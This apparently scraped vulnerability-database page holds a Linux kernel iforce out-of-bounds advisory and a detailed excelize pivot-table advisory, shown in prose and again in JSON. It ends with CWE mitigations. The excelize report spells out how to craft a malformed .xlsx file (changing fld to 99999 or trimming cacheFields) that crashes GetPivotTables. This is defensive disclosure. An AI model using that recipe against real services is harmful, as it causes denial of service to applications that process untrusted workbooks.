"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: iforce - bound the device-reported force-feedback effect index\n\niforce_process_packet() handles a status report (packet id 0x02) by\ntaking a force-feedback effect index straight from the device wire and\nusing it to address the per-effect state array:\n\n\ti = data[1] \u0026 0x7f;\n\tif (data[1] \u0026 0x80) {\n\t\tif (!test_and_set_bit(FF_CORE_IS_PLAYED,\n\t\t\t\t iforce-\u003ecore_effects[i].flags))\n\t\t\t...\n\t} else if (test_and_clear_bit(FF_CORE_IS_PLAYED,\n\t\t\t\t iforce-\u003ecore_effects[i].flags)) {\n\t\t...\n\t}\n\nThe index is masked only with 0x7f, so it ranges 0..127, but\ncore_effects[] holds only IFORCE_EFFECTS_MAX (32) entries. For an index\nof 32..127 the test_and_set_bit()/test_and_clear_bit() is an\nout-of-bounds single-bit read-modify-write past the array. core_effects[]\nis the second-to-last member of struct iforce, so the write lands in the\ntrailing members and beyond the embedding kzalloc()\u0027d iforce_serio /\niforce_usb object.\n\ndata[1] is unvalidated device payload on both transports (the USB\ninterrupt endpoint and serio), and the status path is not gated on force\nfeedback being present, so a malicious or counterfeit device can set or\nclear a bit at an attacker-chosen offset past the object.\n\nReject an out-of-range index instead of indexing with it. Bound against\nthe array dimension IFORCE_EFFECTS_MAX rather than dev-\u003eff-\u003emax_effects so\nthe check guarantees memory safety regardless of how many effects the\ndevice registered. A legitimate \"effect started/stopped\" status always\ncarries an index below IFORCE_EFFECTS_MAX, so well-formed devices are\nunaffected; the neighbouring mark_core_as_ready() loop is already bounded\nand is left untouched.",
"id": "GHSA-mwj6-9jph-6qp6",
"modified": "2026-08-13T18:31:10Z",
"published": "2026-07-25T12:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64273"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0e9943d2e4c63496b6ca84bc66fd3c71d40558e2"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6c0f2901c9d325d4a0574c4237fd507810d225ff"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/70019779325f2bb5f5a4098e91e79c655f50fcef"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/a40250f97c312e000e3616c9074022311a0efbc3"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b1b79e89bc33e4c682d3df7ae2aadc62b5a0c310"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/c21295616a8a52b9a5f18cd4ca8c73030eda3d4f"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/d10b0507fa0f5b46764b178e3271f9012f2df677"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e5fa31f0550b55d80045669ae9080dd5b88abffa"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MX22-3794-2VPV
Vulnerability from github – Published: 2026-10-08 17:52 – Updated: 2026-10-08 17:52Summary
extractPivotTableFields builds order := pc.getPivotCacheFieldsName() from xl/pivotCache/pivotCacheDefinitionN.xml's list, then indexes it with values taken from a separately parsed xl/pivotTables/pivotTableN.xml part with zero cross-validation: order[field.Fld] where field.Fld is a raw attacker-controlled int from the <dataField fld="N"> attribute, and order[fieldIdx] where fieldIdx is a loop index over pt.PivotFields.PivotField that need not match the cache's field count. I executed two independent PoCs against the current HEAD: (1) trimmed the pivot cache's to count=0 while leaving the pivot table's 2 pivotFields untouched -> runtime error: index out of range [0] with length 0 at pivotTable.go:1431; (2) left the 2 cache fields completely intact and only changed one attribute, fld="1" -> fld="99999", in xl/pivotTables/pivotTable1.xml -> runtime error: index out of range [99999] with length 2 at pivotTable.go:1443. Both stack traces confirmed via non-recovered go test runs: extractPivotTableFields -> getPivotTable -> GetPivotTables.
Reachability / who can trigger this
Unauthenticated: any application that opens an untrusted .xlsx containing a pivot table and calls the public File.GetPivotTables(sheet) API. excelize has no recover() anywhere, so this crashes the host process (CLI/worker) or surfaces as an unhandled 500 in a request-scoped-recover HTTP service. Deterministic, single small crafted file, no user interaction beyond the service's normal open-and-read flow.
Proof of Concept / Reproduction
Method:
1) Verified source at HEAD (commit e81f0500, 2026-09-27, freshly cloned/up to date; git status clean except the new PoC files I added): read pivotTable.go:1425-1454 and confirmed verbatim: order := pc.getPivotCacheFieldsName() (1428), loop for fieldIdx, field := range pt.PivotFields.PivotField indexing order[fieldIdx] at axisRow/axisCol/axisPage (1431/1434/1437), and Data: order[field.Fld] (1443) inside the pt.DataFields.DataField loop -- zero bounds checks anywhere. Confirmed xmlPivotTable.go:271 Fld intxml:"fld,attr"` on xlsxDataField (raw attacker-controlled int, no validation) and the sibling Fld field at line 252. Rango build ./...-- compiles clean. Both citations are accurate.
2) Found the repo already contained an untracked PoC test file from earlier work (pivot_fld_poc_test.go) implementing this exact finding via a byte-level zip-tamper technique (build a legitimate workbook with excelize's own public AddPivotTable API, then hex-edit one raw XML part inside the saved .xlsx's zip bytes -- not a hypothetical reimplementation, uses the real unmodified excelize package). Did not just trust it: ran it myself withgo test -run 'TestPivotTableDataFieldFldIndexPanic|TestPivotTableDataFieldFldAttributeOutOfRangePanic' -v .and observed real PASS output with exact matching panic strings.
3) For stronger, independent evidence beyond a recover-wrapped test, I wrote my own standalone non-test Go program from scratch, cmd/pivotcrash/main.go (module github.com/xuri/excelize/v2, go1.27.0 toolchain), that imports the real compiled excelize package (no reimplementation) with two subcommands:gen/gen-trim(attacker: build a legit pivot-table workbook via the public API, then rezip with one XML part tampered -- either dataField fld="1"->fld="99999", or the pivot cache's <cacheFields count="2"> collapsed to count="0" -- writing the crafted .xlsx to disk) andrun(victim: a fresh OS process that does exactly what any consumer service does --excelize.OpenFile(path)thenf.GetPivotTables("Sheet1")-- with zero recover() anywhere in the file or the call chain). Executed as four separatego run` process invocations: gen, run, gen-trim, run.
Evidence:
Test run (pre-existing PoC file, re-executed by me, both PASS):
--- PASS: TestPivotTableDataFieldFldIndexPanic (0.00s) logging CONFIRMED: GetPivotTables panicked ... runtime error: index out of range [0] with length 0
--- PASS: TestPivotTableDataFieldFldAttributeOutOfRangePanic (0.00s) logging CONFIRMED: GetPivotTables panicked ... runtime error: index out of range [99999] with length 2
ok github.com/xuri/excelize/v2 0.114s
Standalone process-crash run #1 (go run ./cmd/pivotcrash run pivotcrash_malicious.xlsx, fld="99999" tamper, cache untouched with 2 fields):
[victim] file opened successfully, workbook parsed with no errors
[victim] now calling f.GetPivotTables("Sheet1") on the untrusted workbook...
panic: runtime error: index out of range [99999] with length 2
goroutine 1 [running]:
github.com/xuri/excelize/v2.(*File).extractPivotTableFields(...)
.../pivotTable.go:1443 +0xb9b
github.com/xuri/excelize/v2.(*File).getPivotTable(...)
.../pivotTable.go:1379 +0x7f6
github.com/xuri/excelize/v2.(*File).GetPivotTables(...)
.../pivotTable.go:1278 +0x2f7
main.runVictim(...) / main.main() -> exit status 2
Standalone process-crash run #2 (go run ./cmd/pivotcrash run pivotcrash_malicious_trim.xlsx, cacheFields trimmed to count=0, pivot table's 2 pivotFields untouched):
panic: runtime error: index out of range [0] with length 0
goroutine 1 [running]:
github.com/xuri/excelize/v2.(*File).extractPivotTableFields(...)
.../pivotTable.go:1431 +0xc15
github.com/xuri/excelize/v2.(*File).getPivotTable(...)
.../pivotTable.go:1379 +0x7f6
github.com/xuri/excelize/v2.(*File).GetPivotTables(...)
.../pivotTable.go:1278 +0x2f7
main.runVictim(...) / main.main() -> exit status 2
In both standalone runs the "GetPivotTables RETURNED NORMALLY" print statement that follows the call was never reached -- the OS process itself terminated via an unrecovered Go panic (exit status 2), for a crafted .xlsx that excelize.OpenFile accepted without any error. Both stack traces terminate at the exact claimed sink lines (pivotTable.go:1443 and :1431) via the exact claimed call chain (extractPivotTableFields -> getPivotTable -> GetPivotTables). This is a real, unhandled crash of a real process running unmodified excelize code -- not a mock, not a simulated/hypothetical trace.
Novelty
Ran all 5 requested checks in full, plus extra verification. (1) Pulled the complete, paginated GHSA list via gh api (16 advisories, all state=published, no hidden drafts) and grepped full descriptions, not just summaries, for "pivot" -- only one incidental, non-overlapping hit (GHSA-wp2g-vpjj-g53r cites pivotTable.go:538 as an AddPivotTable call site for an unrelated formula-recursion stack-overflow bug). (2) Ran ~15 targeted GitHub issue searches (extractPivotTableFields, getPivotCacheFieldsName, GetPivotTables panic, dataField fld, BaseField, ShowValuesAs, "index out of range", cacheFields count mismatch, PivotFields panic, DataField, plus a broad "pivot" query returning 30 issues/PRs all individually triaged by title) and full-text-read the 5 most plausible (#2161, #1937, #2183, #1954, #1945) -- none match; the closest (#2161) is a nil-pointer bug in a different function/field, detailed above. (3) Checked PRs both by keyword (is:pr pivot = 10, is:pr "pivotTable.go" fld = 0, all reviewed; read PR #2168's full diff) and exhaustively (pulled all 31 currently-open PRs on the repo and reviewed every title) -- none touch pivot field indexing. (4) Ran 5 WebSearch queries combining the mechanism with "excelize"/"pivot table"/"CVE", and independently cross-checked OSV.dev's API (which mirrors NVD/GHSA/GO vuln DB) -- turned up only the already-ruled-out GHSA-fx5j (shared-string) and GHSA-h69g (row allocation) advisories, and a non-upstream automated "task"-tracking repo (windyswe/q ...[truncated for brevity]
Closest prior art considered: qax-os/excelize issue #2161 + merged PR #2168 ("This closes #2161, fix panic on read unsupported pivot table cache source types", merged 2025-07-05). That bug: pivotCacheDefinition.xml's has no child, so pc.CacheSource.WorksheetSource is a nil pointer, and getPivotTable() (then pivotTable.go:875) dereferenced .Sheet/.Ref on it -> nil-pointer-dereference panic, reached via GetPivotTables (then line 803). Fix was an early type-validation error return in getPivotTable, not any bounds check. SAME-FIX TEST: would that fix also close the candidate bug? No. The candidate's panic is index-out-of-range (not nil-deref) inside a different function, extractPivotTableFields, on a different data structure: order := pc.getPivotCacheFieldsName() (length = count of ) indexed by (a) a loop counter over pt.PivotFields.PivotField (a separate, unrelated count from pivotTableN.xml) at lines 1431/1434/1437, and (b) the raw unvalidated int field.
...[truncated for brevity]
Independent skeptical review
Tried hard to kill this and it holds. Independently re-read current HEAD (e81f05008b3, fetched and diffed against origin/master to confirm it's current) rather than trusting the report: pivotTable.go:1427-1454 (extractPivotTableFields) has zero bounds checks on order[fieldIdx] (axisRow/Col/Page branches, lines 1431/1434/1437) or order[field.Fld] (line 1443) — confirmed by direct Read, matching the claim's line citations exactly. This is a genuine oversight, not a designed invariant: the very next function in the same file, extractPivotTableShowValuesAs (lines 1476, 1486) and extractPivotTableField (line 1508), DO bounds-check structurally identical order/slice indices before using them — the developers clearly know this pattern needs guarding and simply missed it in extractPivotTableFields. Confirmed xmlPivotTable.go:271 Fld is a bare unchecked int XML attribute, and confirmed getPivotTable/pivotCacheReader/pivotTableReader perform no count-vs-actual-length cross-validation between the independently-parsed pivotTable and pivotCache XML parts. Grepped the entire repo for recover() — zero hits outside the researcher's own test file, confirming "no recover anywhere" is accurate. Re-ran both provided PoCs myself in a throwaway test file against this exact HEAD (go test -run TestPoC_PivotCache -v): both panic exactly as claimed, with byte-identical messages — "index out of range [0] with length 0" (truncated-cache-fields PoC, line 1431) and "index out of range [99999] with lengt
...[truncated for brevity]
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/xuri/excelize/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.1"
},
{
"fixed": "2.11.1-0.20261003002531-6258dcebc4e2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107211"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T17:52:17Z",
"nvd_published_at": "2026-10-07T18:17:18Z",
"severity": "HIGH"
},
"details": "### Summary\n\nextractPivotTableFields builds `order := pc.getPivotCacheFieldsName()` from xl/pivotCache/pivotCacheDefinitionN.xml\u0027s \u003ccacheFields\u003e list, then indexes it with values taken from a *separately parsed* xl/pivotTables/pivotTableN.xml part with zero cross-validation: `order[field.Fld]` where `field.Fld` is a raw attacker-controlled `int` from the `\u003cdataField fld=\"N\"\u003e` attribute, and `order[fieldIdx]` where fieldIdx is a loop index over `pt.PivotFields.PivotField` that need not match the cache\u0027s field count. I executed two independent PoCs against the current HEAD: (1) trimmed the pivot cache\u0027s \u003ccacheFields\u003e to count=0 while leaving the pivot table\u0027s 2 pivotFields untouched -\u003e `runtime error: index out of range [0] with length 0` at pivotTable.go:1431; (2) left the 2 cache fields completely intact and only changed one attribute, `fld=\"1\"` -\u003e `fld=\"99999\"`, in xl/pivotTables/pivotTable1.xml -\u003e `runtime error: index out of range [99999] with length 2` at pivotTable.go:1443. Both stack traces confirmed via non-recovered `go test` runs: extractPivotTableFields -\u003e getPivotTable -\u003e GetPivotTables.\n\n### Reachability / who can trigger this\n\nUnauthenticated: any application that opens an untrusted .xlsx containing a pivot table and calls the public `File.GetPivotTables(sheet)` API. excelize has no recover() anywhere, so this crashes the host process (CLI/worker) or surfaces as an unhandled 500 in a request-scoped-recover HTTP service. Deterministic, single small crafted file, no user interaction beyond the service\u0027s normal open-and-read flow.\n\n### Proof of Concept / Reproduction\n\n**Method:**\n1) Verified source at HEAD (commit e81f0500, 2026-09-27, freshly cloned/up to date; `git status` clean except the new PoC files I added): read pivotTable.go:1425-1454 and confirmed verbatim: `order := pc.getPivotCacheFieldsName()` (1428), loop `for fieldIdx, field := range pt.PivotFields.PivotField` indexing `order[fieldIdx]` at axisRow/axisCol/axisPage (1431/1434/1437), and `Data: order[field.Fld]` (1443) inside the `pt.DataFields.DataField` loop -- zero bounds checks anywhere. Confirmed xmlPivotTable.go:271 `Fld int `xml:\"fld,attr\"`` on xlsxDataField (raw attacker-controlled int, no validation) and the sibling Fld field at line 252. Ran `go build ./...` -- compiles clean. Both citations are accurate.\n2) Found the repo already contained an untracked PoC test file from earlier work (pivot_fld_poc_test.go) implementing this exact finding via a byte-level zip-tamper technique (build a legitimate workbook with excelize\u0027s own public AddPivotTable API, then hex-edit one raw XML part inside the saved .xlsx\u0027s zip bytes -- not a hypothetical reimplementation, uses the real unmodified excelize package). Did not just trust it: ran it myself with `go test -run \u0027TestPivotTableDataFieldFldIndexPanic|TestPivotTableDataFieldFldAttributeOutOfRangePanic\u0027 -v .` and observed real PASS output with exact matching panic strings.\n3) For stronger, independent evidence beyond a recover-wrapped test, I wrote my own standalone non-test Go program from scratch, cmd/pivotcrash/main.go (module github.com/xuri/excelize/v2, go1.27.0 toolchain), that imports the real compiled excelize package (no reimplementation) with two subcommands: `gen`/`gen-trim` (attacker: build a legit pivot-table workbook via the public API, then rezip with one XML part tampered -- either dataField fld=\"1\"-\u003efld=\"99999\", or the pivot cache\u0027s \u003ccacheFields count=\"2\"\u003e collapsed to count=\"0\" -- writing the crafted .xlsx to disk) and `run` (victim: a fresh OS process that does exactly what any consumer service does -- `excelize.OpenFile(path)` then `f.GetPivotTables(\"Sheet1\")` -- with zero recover() anywhere in the file or the call chain). Executed as four separate `go run` process invocations: gen, run, gen-trim, run.\n\n**Evidence:**\nTest run (pre-existing PoC file, re-executed by me, both PASS):\n`--- PASS: TestPivotTableDataFieldFldIndexPanic (0.00s)` logging `CONFIRMED: GetPivotTables panicked ... runtime error: index out of range [0] with length 0`\n`--- PASS: TestPivotTableDataFieldFldAttributeOutOfRangePanic (0.00s)` logging `CONFIRMED: GetPivotTables panicked ... runtime error: index out of range [99999] with length 2`\n`ok github.com/xuri/excelize/v2 0.114s`\n\nStandalone process-crash run #1 (`go run ./cmd/pivotcrash run pivotcrash_malicious.xlsx`, fld=\"99999\" tamper, cache untouched with 2 fields):\n[victim] file opened successfully, workbook parsed with no errors\n[victim] now calling f.GetPivotTables(\"Sheet1\") on the untrusted workbook...\npanic: runtime error: index out of range [99999] with length 2\ngoroutine 1 [running]:\ngithub.com/xuri/excelize/v2.(*File).extractPivotTableFields(...)\n\t.../pivotTable.go:1443 +0xb9b\ngithub.com/xuri/excelize/v2.(*File).getPivotTable(...)\n\t.../pivotTable.go:1379 +0x7f6\ngithub.com/xuri/excelize/v2.(*File).GetPivotTables(...)\n\t.../pivotTable.go:1278 +0x2f7\nmain.runVictim(...) / main.main() -\u003e exit status 2\n\nStandalone process-crash run #2 (`go run ./cmd/pivotcrash run pivotcrash_malicious_trim.xlsx`, cacheFields trimmed to count=0, pivot table\u0027s 2 pivotFields untouched):\npanic: runtime error: index out of range [0] with length 0\ngoroutine 1 [running]:\ngithub.com/xuri/excelize/v2.(*File).extractPivotTableFields(...)\n\t.../pivotTable.go:1431 +0xc15\ngithub.com/xuri/excelize/v2.(*File).getPivotTable(...)\n\t.../pivotTable.go:1379 +0x7f6\ngithub.com/xuri/excelize/v2.(*File).GetPivotTables(...)\n\t.../pivotTable.go:1278 +0x2f7\nmain.runVictim(...) / main.main() -\u003e exit status 2\n\nIn both standalone runs the \"GetPivotTables RETURNED NORMALLY\" print statement that follows the call was never reached -- the OS process itself terminated via an unrecovered Go panic (exit status 2), for a crafted .xlsx that `excelize.OpenFile` accepted without any error. Both stack traces terminate at the exact claimed sink lines (pivotTable.go:1443 and :1431) via the exact claimed call chain (extractPivotTableFields -\u003e getPivotTable -\u003e GetPivotTables). This is a real, unhandled crash of a real process running unmodified excelize code -- not a mock, not a simulated/hypothetical trace.\n\n### Novelty\n\nRan all 5 requested checks in full, plus extra verification. (1) Pulled the complete, paginated GHSA list via gh api (16 advisories, all state=published, no hidden drafts) and grepped full descriptions, not just summaries, for \"pivot\" -- only one incidental, non-overlapping hit (GHSA-wp2g-vpjj-g53r cites pivotTable.go:538 as an AddPivotTable call site for an unrelated formula-recursion stack-overflow bug). (2) Ran ~15 targeted GitHub issue searches (extractPivotTableFields, getPivotCacheFieldsName, GetPivotTables panic, dataField fld, BaseField, ShowValuesAs, \"index out of range\", cacheFields count mismatch, PivotFields panic, DataField, plus a broad \"pivot\" query returning 30 issues/PRs all individually triaged by title) and full-text-read the 5 most plausible (#2161, #1937, #2183, #1954, #1945) -- none match; the closest (#2161) is a nil-pointer bug in a different function/field, detailed above. (3) Checked PRs both by keyword (is:pr pivot = 10, is:pr \"pivotTable.go\" fld = 0, all reviewed; read PR #2168\u0027s full diff) and exhaustively (pulled all 31 currently-open PRs on the repo and reviewed every title) -- none touch pivot field indexing. (4) Ran 5 WebSearch queries combining the mechanism with \"excelize\"/\"pivot table\"/\"CVE\", and independently cross-checked OSV.dev\u0027s API (which mirrors NVD/GHSA/GO vuln DB) -- turned up only the already-ruled-out GHSA-fx5j (shared-string) and GHSA-h69g (row allocation) advisories, and a non-upstream automated \"task\"-tracking repo (windyswe/q\n...[truncated for brevity]\n\nClosest prior art considered: qax-os/excelize issue #2161 + merged PR #2168 (\"This closes #2161, fix panic on read unsupported pivot table cache source types\", merged 2025-07-05). That bug: pivotCacheDefinition.xml\u0027s \u003ccacheSource type=\"external\"/\u003e has no \u003cworksheetSource\u003e child, so pc.CacheSource.WorksheetSource is a nil pointer, and getPivotTable() (then pivotTable.go:875) dereferenced .Sheet/.Ref on it -\u003e nil-pointer-dereference panic, reached via GetPivotTables (then line 803). Fix was an early type-validation error return in getPivotTable, not any bounds check. SAME-FIX TEST: would that fix also close the candidate bug? No. The candidate\u0027s panic is index-out-of-range (not nil-deref) inside a different function, extractPivotTableFields, on a different data structure: `order := pc.getPivotCacheFieldsName()` (length = count of \u003ccacheFields\u003e) indexed by (a) a loop counter over pt.PivotFields.PivotField (a separate, unrelated count from pivotTableN.xml) at lines 1431/1434/1437, and (b) the raw unvalidated int field.\n...[truncated for brevity]\n\n### Independent skeptical review\n\nTried hard to kill this and it holds. Independently re-read current HEAD (e81f05008b3, fetched and diffed against origin/master to confirm it\u0027s current) rather than trusting the report: pivotTable.go:1427-1454 (extractPivotTableFields) has zero bounds checks on order[fieldIdx] (axisRow/Col/Page branches, lines 1431/1434/1437) or order[field.Fld] (line 1443) \u2014 confirmed by direct Read, matching the claim\u0027s line citations exactly. This is a genuine oversight, not a designed invariant: the very next function in the same file, extractPivotTableShowValuesAs (lines 1476, 1486) and extractPivotTableField (line 1508), DO bounds-check structurally identical order/slice indices before using them \u2014 the developers clearly know this pattern needs guarding and simply missed it in extractPivotTableFields. Confirmed xmlPivotTable.go:271 Fld is a bare unchecked `int` XML attribute, and confirmed getPivotTable/pivotCacheReader/pivotTableReader perform no count-vs-actual-length cross-validation between the independently-parsed pivotTable and pivotCache XML parts. Grepped the entire repo for recover() \u2014 zero hits outside the researcher\u0027s own test file, confirming \"no recover anywhere\" is accurate. Re-ran both provided PoCs myself in a throwaway test file against this exact HEAD (go test -run TestPoC_PivotCache -v): both panic exactly as claimed, with byte-identical messages \u2014 \"index out of range [0] with length 0\" (truncated-cache-fields PoC, line 1431) and \"index out of range [99999] with lengt\n...[truncated for brevity]",
"id": "GHSA-mx22-3794-2vpv",
"modified": "2026-10-08T17:52:17Z",
"published": "2026-10-08T17:52:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/qax-os/excelize/security/advisories/GHSA-mx22-3794-2vpv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107211"
},
{
"type": "WEB",
"url": "https://github.com/qax-os/excelize/pull/2435"
},
{
"type": "WEB",
"url": "https://github.com/qax-os/excelize/commit/6258dcebc4e2a2aed985c38a08098dfd908521d1"
},
{
"type": "PACKAGE",
"url": "https://github.com/qax-os/excelize"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Excelize: Unchecked pivot-cache field index in extractPivotTableFields causes unrecoverable panic"
}
Mitigation MIT-7
Strategy: Input Validation
Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
Mitigation MIT-15
- For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
Mitigation MIT-3
Strategy: Language Selection
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.
Mitigation MIT-11
Strategy: Environment Hardening
- Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
- Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
- For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Strategy: Environment Hardening
- Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
- For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.
Mitigation MIT-35
Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-100: Overflow Buffers
Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an adversary. As a consequence, an adversary is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the adversaries' choice.